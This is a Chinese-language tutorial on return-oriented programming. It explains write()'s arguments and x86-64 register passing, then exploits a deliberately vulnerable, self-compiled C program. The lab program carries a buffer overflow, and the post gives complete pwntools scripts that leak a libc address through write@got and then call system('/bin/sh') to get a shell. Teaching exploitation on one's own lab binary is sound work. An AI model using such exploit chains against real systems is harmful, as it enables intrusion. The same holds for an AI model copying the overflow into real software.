ROP 学习:libc 中的 write 函数

学完 puts 以后,下一步很适合学习 write。
puts 只能接收一个主要参数,而 write 一共有三个参数,因此学习 write 可以帮助我们继续理解 x86-64 下:

  • RDI
  • RSI
  • RDX
    这三个参数寄存器在 ROP 中分别是怎么使用的。

write 是什么

write 是 Linux 中非常常见的输出函数。
函数原型

1
ssize_t write(int fd, const void *buf, size_t count);

它有三个参数

1
2
3
fd
buf
count

可以简单理解为

1
write(输出到哪里, 从哪里读取数据, 输出多少字节)

例如

1
write(1, buf, 8);

意思就是

1
2
3
从 buf 指向的内存地址中
读取 8 个字节
然后输出到标准输出

write 的三个参数

第一个参数:fd

1
int fd

fd 是文件描述符。
Linux 中最常见的三个文件描述符:

1
2
3
0 → stdin  标准输入
1 → stdout 标准输出
2 → stderr 标准错误

所以

1
write(1, buf, 8);

这里

1
fd = 1

就表示

1
输出到屏幕

第二个参数:buf

第二个参数

1
const void *buf

表示需要输出的数据存放在哪里
也就是一个内存地址。
例如

1
buf = 0x404018

那么

1
write(1, 0x404018, 8);

可以理解为

1
2
3
从 0x404018 开始
读取 8 个字节
然后输出

这一点非常重要
因为 write 并不要求这里一定是字符串。
它只是按照你给出的地址
读取指定数量的字节

第三个参数:count

第三个参数

1
size_t count

表示

1
输出多少个字节

例如

1
write(1, buf, 8);

就是

1
输出 8 字节

如果是

1
write(1, buf, 16);

就是

1
输出 16 字节

x86-64 下 write 怎么传参数

在 Linux x86-64 System V ABI 中,函数参数通常通过寄存器传递。
前三个参数分别是

1
2
3
第 1 个参数 → RDI
第 2 个参数 → RSI
第 3 个参数 → RDX

所以

1
write(1, buf, 8);

调用之前,需要满足

1
2
3
RDI = 1
RSI = buf
RDX = 8

然后

1
RIP = write

于是 CPU 执行的逻辑就相当于

1
write(1, buf, 8);

思路

根据上面描述,我们可以写一下思路

1
2
3
4
5
6
7
8
9
buf
rdi
1
rsi
write@got
rdx
8
write@plt
main

就相当于write(1,write@got,8)
然后剩下的和puts的一样了

实战

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <unistd.h>
void vuln()
{
    char buf[64];
    write(1, "Input: ", 7);
    read(0, buf, 200);
}
__attribute__((naked, used))
void gadget_rdi()
{
    __asm__("pop %rdi; ret");
}
__attribute__((naked, used))
void gadget_rsi()
{
    __asm__("pop %rsi; ret");
}
__attribute__((naked, used))
void gadget_rdx()
{
    __asm__("pop %rdx; ret");
}
int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    write(1, "Welcome to ez_write!\n", 21);
    vuln();
    return 0;
}

编辑一下

1
gcc write.c -o write     -fno-stack-protector     -no-pie     -z noexecstack

操作

先查看保护
image
正常(自己编译能不知道有什么吗)
ida不看了,我们去gdb看看有什么函数
image
没有puts了,这次需要我们用write泄露libc的真实地址
查看一下偏移量,还是用我们的老方法cyclic
打开python输入

1
2
from pwn import *
cyclic(200,n=8)

image
使用cyclic_find找到偏移量
image
是72
直接写第一阶段的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.arch = "amd64"
context.log_level = "info"
elf = ELF("./write")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./write")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
pop_rdi = elf.sym["gadget_rdi"]
pop_rsi = elf.sym["gadget_rsi"]
pop_rdx = elf.sym["gadget_rdx"]
main = elf.sym["main"]
print(hex(pop_rdi))
print(hex(pop_rsi))
print(hex(pop_rdx))
print(hex(write_got))
print(hex(write_plt))
ret = 0x0040101a
offset = 72
payload = flat(
    b'A' * 72,
    pop_rdi,
    1,
    pop_rsi,
    write_got,
    pop_rdx,
    8,
    write_plt,
    main
)
p.sendlineafter(b"Input: ", payload)
leaked_write = p.recvn(8) # 精确接收 write 输出的 8 字节
log.info(f"leaked bytes: {leaked_write.hex()}")
write_addr = u64(leaked_write)
log.success(
    f"write address: {hex(write_addr)}"
)
libc.address = write_addr - libc.sym["write"]
log.success(f"libc base: {hex(libc.address)}")

这样我们就可以拿到libc的基址
image
第二阶段没什么好说的就是直接写入system(‘/bin/sh’)
所以最后的payload是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.arch = "amd64"
context.log_level = "info"
elf = ELF("./write")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./write")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
pop_rdi = elf.sym["gadget_rdi"]
pop_rsi = elf.sym["gadget_rsi"]
pop_rdx = elf.sym["gadget_rdx"]
main = elf.sym["main"]
print(hex(pop_rdi))
print(hex(pop_rsi))
print(hex(pop_rdx))
print(hex(write_got))
print(hex(write_plt))
ret = 0x0040101a
offset = 72
payload = flat(
    b'A' * 72,
    pop_rdi,
    1,
    pop_rsi,
    write_got,
    pop_rdx,
    8,
    write_plt,
    main
)
p.sendlineafter(b"Input: ", payload)
leaked_write = p.recvn(8) # 精确接收 write 输出的 8 字节
log.info(f"leaked bytes: {leaked_write.hex()}")
write_addr = u64(leaked_write)
log.success(
    f"write address: {hex(write_addr)}"
)
libc.address = write_addr - libc.sym["write"]
log.success(f"libc base: {hex(libc.address)}")
system_addr = libc.sym["system"]
bin_sh_addr = next(libc.search(b"/bin/sh"))
print(hex(system_addr))
print(hex(bin_sh_addr))
payload2 = flat(
    b'A'*72,
    ret,
    pop_rdi,
    bin_sh_addr,
    system_addr
)
p.sendlineafter(b"Input: ", payload2)
p.interactive()

里面的write_got我们还可以换成read_got来写哦,可以试一试哦

别再让等等耗尽你所有的可能。
不要把梦想留给未来的某一天,现在就是开始的时刻。
Don’t let someday steal all your possibilities.
Start now, keep moving, and become who you want to be.

—— yanami